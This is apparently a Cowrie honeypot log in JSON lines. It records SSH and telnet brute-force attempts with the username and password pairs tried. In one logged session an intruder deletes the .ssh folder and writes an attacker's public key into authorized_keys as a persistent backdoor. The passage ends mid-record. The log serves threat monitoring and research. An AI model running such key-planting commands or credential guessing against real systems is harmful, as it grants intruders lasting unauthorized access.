{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":41354,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ce1ecafb483","protocol":"ssh","message":"New connection: 107.150.103.210:41354 (159.203.135.109:22) [session: 8ce1ecafb483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:50.144947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:50.148549Z","src_ip":"107.150.103.210","session":"8ce1ecafb483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:50.214672Z","src_ip":"107.150.103.210","session":"8ce1ecafb483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"radarr","password":"radarr123","message":"login attempt [radarr/radarr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:50.516031Z","src_ip":"107.150.103.210","session":"8ce1ecafb483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:51.588310Z","src_ip":"107.150.103.210","session":"8ce1ecafb483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":60714,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1eb07cdf0aa","protocol":"ssh","message":"New connection: 45.232.73.84:60714 (159.203.135.109:22) [session: d1eb07cdf0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:07.517773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:07.526144Z","src_ip":"45.232.73.84","session":"d1eb07cdf0aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:07.650222Z","src_ip":"45.232.73.84","session":"d1eb07cdf0aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ben","password":"Ben123","message":"login attempt [ben/Ben123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:08.150056Z","src_ip":"45.232.73.84","session":"d1eb07cdf0aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:09.278389Z","src_ip":"45.232.73.84","session":"d1eb07cdf0aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":53010,"dst_ip":"159.203.135.109","dst_port":22,"session":"1da3ae4d06b6","protocol":"ssh","message":"New connection: 103.59.94.61:53010 (159.203.135.109:22) [session: 1da3ae4d06b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:27.830472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:27.834713Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:28.074431Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"test123","message":"login attempt [root/test123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:29.066707Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:30.686626Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:30.689666Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:30.692597Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:30.935922Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:31.445368Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:31.448611Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:31.702289Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:31.706317Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":46066,"dst_ip":"159.203.135.109","dst_port":22,"session":"15dd71c828cf","protocol":"ssh","message":"New connection: 103.59.94.61:46066 (159.203.135.109:22) [session: 15dd71c828cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:32.826547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:32.941274Z","src_ip":"103.59.94.61","session":"15dd71c828cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:33.182909Z","src_ip":"103.59.94.61","session":"15dd71c828cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:34.225434Z","src_ip":"103.59.94.61","session":"15dd71c828cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:35.473744Z","src_ip":"103.59.94.61","session":"15dd71c828cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":46074,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d39678e4896","protocol":"ssh","message":"New connection: 103.59.94.61:46074 (159.203.135.109:22) [session: 6d39678e4896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:35.708403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:35.712358Z","src_ip":"103.59.94.61","session":"6d39678e4896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:35.954254Z","src_ip":"103.59.94.61","session":"6d39678e4896","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:36.956256Z","src_ip":"103.59.94.61","session":"6d39678e4896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:37.203072Z","src_ip":"103.59.94.61","session":"1da3ae4d06b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:37.206495Z","src_ip":"103.59.94.61","session":"6d39678e4896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40392,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b77570f60ac","protocol":"ssh","message":"New connection: 2.57.122.208:40392 (10.17.0.5:22) [session: 6b77570f60ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:40.811210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:40.910056Z","src_ip":"2.57.122.208","session":"6b77570f60ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:41.012786Z","src_ip":"2.57.122.208","session":"6b77570f60ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:41.577096Z","src_ip":"2.57.122.208","session":"6b77570f60ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:56:42.678463Z","src_ip":"2.57.122.208","session":"6b77570f60ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":54120,"dst_ip":"159.203.135.109","dst_port":22,"session":"50e0b390f6bf","protocol":"ssh","message":"New connection: 92.118.39.76:54120 (159.203.135.109:22) [session: 50e0b390f6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:57:00.391905Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:57:00.494988Z","src_ip":"92.118.39.76","session":"50e0b390f6bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.151.178.13","src_port":38756,"dst_ip":"10.17.0.5","dst_port":23,"session":"31b41fc6e22c","protocol":"telnet","message":"New connection: 46.151.178.13:38756 (10.17.0.5:23) [session: 31b41fc6e22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:57:52.805165Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:57:52.977840Z","src_ip":"46.151.178.13","session":"31b41fc6e22c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:57:53.018222Z","src_ip":"46.151.178.13","session":"31b41fc6e22c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":42532,"dst_ip":"10.17.0.5","dst_port":22,"session":"23f08164c8e4","protocol":"ssh","message":"New connection: 92.118.39.56:42532 (10.17.0.5:22) [session: 23f08164c8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:57:57.156563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:57:57.228367Z","src_ip":"92.118.39.56","session":"23f08164c8e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.